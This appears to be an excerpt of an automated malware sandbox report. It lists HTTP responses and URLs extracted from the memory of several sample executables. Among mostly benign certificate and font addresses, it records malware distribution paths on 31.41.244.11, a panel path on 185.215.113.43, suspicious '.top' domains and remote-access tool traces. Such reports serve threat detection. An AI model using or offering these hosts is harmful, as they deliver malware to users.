Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Dec 2024 19:11:20 GMTContent-Type: text/html; charset=us-asciiTransfer-Encoding: chunkedConnection: keep-aliveCF-Ray: 8f49b2a4f93c0c90-EWRCF-Cache-Status: DYNAMICcf-apo-via: origin,hostReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jwbOFUwx2TXIJDK7TyuzVS%2F35m%2FY3ViHddXYU99Jdix%2Bjd6YHl7W9RfPH%2BcfraJ4SMmRPuziigAkknAbWzlL1e51b3E6uGkeKVmeIKrXjBhKYkhHnWnJz1msK36TX9gPBgz16KOtnu55Yvi5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareserver-timing: cfL4;desc="?proto=TCP&rtt=1774&min_rtt=1774&rtt_var=887&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Dec 2024 19:11:21 GMTContent-Type: text/html; charset=us-asciiTransfer-Encoding: chunkedConnection: keep-aliveCF-Ray: 8f49b2ae4da6c44f-EWRCF-Cache-Status: DYNAMICcf-apo-via: origin,hostReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wAg%2Bjx%2Bl5DkYCENG15O9pb8Ab5ORXtKpHR2wZ0LGkFLqz29CTuFaI5wbqd%2FPl9Bht2T29NDpM9OaUlg0gBlSNu9p6Jv2pL2Teu%2F8LK4jdC1v15snOVx40wFU%2BmQytxsdhi5JNFodY8YLaMSI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareserver-timing: cfL4;desc="?proto=TCP&rtt=1456&min_rtt=1456&rtt_var=728&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0

Source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://%s/fakeurl.htm
Source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://%s/testpage.htm
Source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://.css
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://.jpg
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://127.0.0.1
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000005.00000002.3000881304.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3000881304.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/151334531/YIFtngJ.exe
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/151334531/YIFtngJ.exeP
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe)
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe1
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe5
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe6
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe60ac02b4ded8abeee1fbc96a805145
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe8
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeLocal
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exed
Source: skotes.exe, 00000005.00000002.3000881304.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exe
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exeQ
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeY
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe5
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0$
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: FuturreApp.exe, 00000007.00000002.2997958771.00000000037B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com
Source: FuturreApp.exe, 00000007.00000002.2992005380.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/ing
Source: FuturreApp.exe, 00000007.00000002.2992005380.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.2992005380.000000000162A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: FuturreApp.exe, 00000007.00000002.2992005380.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp-
Source: FuturreApp.exe, 00000007.00000002.2992005380.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspKr
Source: FuturreApp.exe, 00000007.00000002.2992005380.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspMC
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: FuturreApp.exe, 00000007.00000002.2992005380.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspaCw3
Source: FuturreApp.exe, 00000007.00000002.2992005380.0000000001609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspc
Source: FuturreApp.exe, 00000007.00000002.2997958771.00000000037B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.comlocation/loca.asp
Source: 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17
Source: 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
Source: 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: remcmdstub.exe.6.dr	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 855fa1aa94.exe, 0000000A.00000002.2692491331.00000000079D5000.00000004.00000020.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004782466.00000000111E1000.00000004.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004782466.00000000111E1000.00000004.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004782466.00000000111E1000.00000004.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.pci.co.uk/support
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004782466.00000000111E1000.00000004.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 855fa1aa94.exe, 0000000A.00000000.2603259057.00000000000E2000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/
Source: 855fa1aa94.exe, 0000000A.00000002.2681187847.0000000002511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/accountname.aspx
Source: 855fa1aa94.exe, 0000000A.00000002.2681187847.0000000002511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/balance.aspx
Source: 855fa1aa94.exe, 0000000A.00000000.2603259057.00000000000E2000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspx
Source: 855fa1aa94.exe, 0000000A.00000002.2681187847.0000000002511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspxS
Source: 855fa1aa94.exe, 0000000A.00000002.2681187847.0000000002511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/transfer.aspx
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/tor-expert-bundle-windows-i686-
Source: 81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: random[2].exe0.5.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
